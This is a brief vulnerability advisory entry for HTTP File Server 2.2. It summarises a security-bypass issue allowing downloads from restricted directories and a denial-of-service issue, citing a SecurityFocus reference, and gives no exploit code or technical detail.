HTTP File Server 2.2 - Security Bypass / Denial of Service

source: https://www.securityfocus.com/bid/39544/info

HTTP File Server is prone to multiple vulnerabilities including a security-bypass issue and a denial-of-service issue.

Exploiting these issues will allow an attacker to download files from restricted directories within the context of the application or cause denial-of-service conditions.
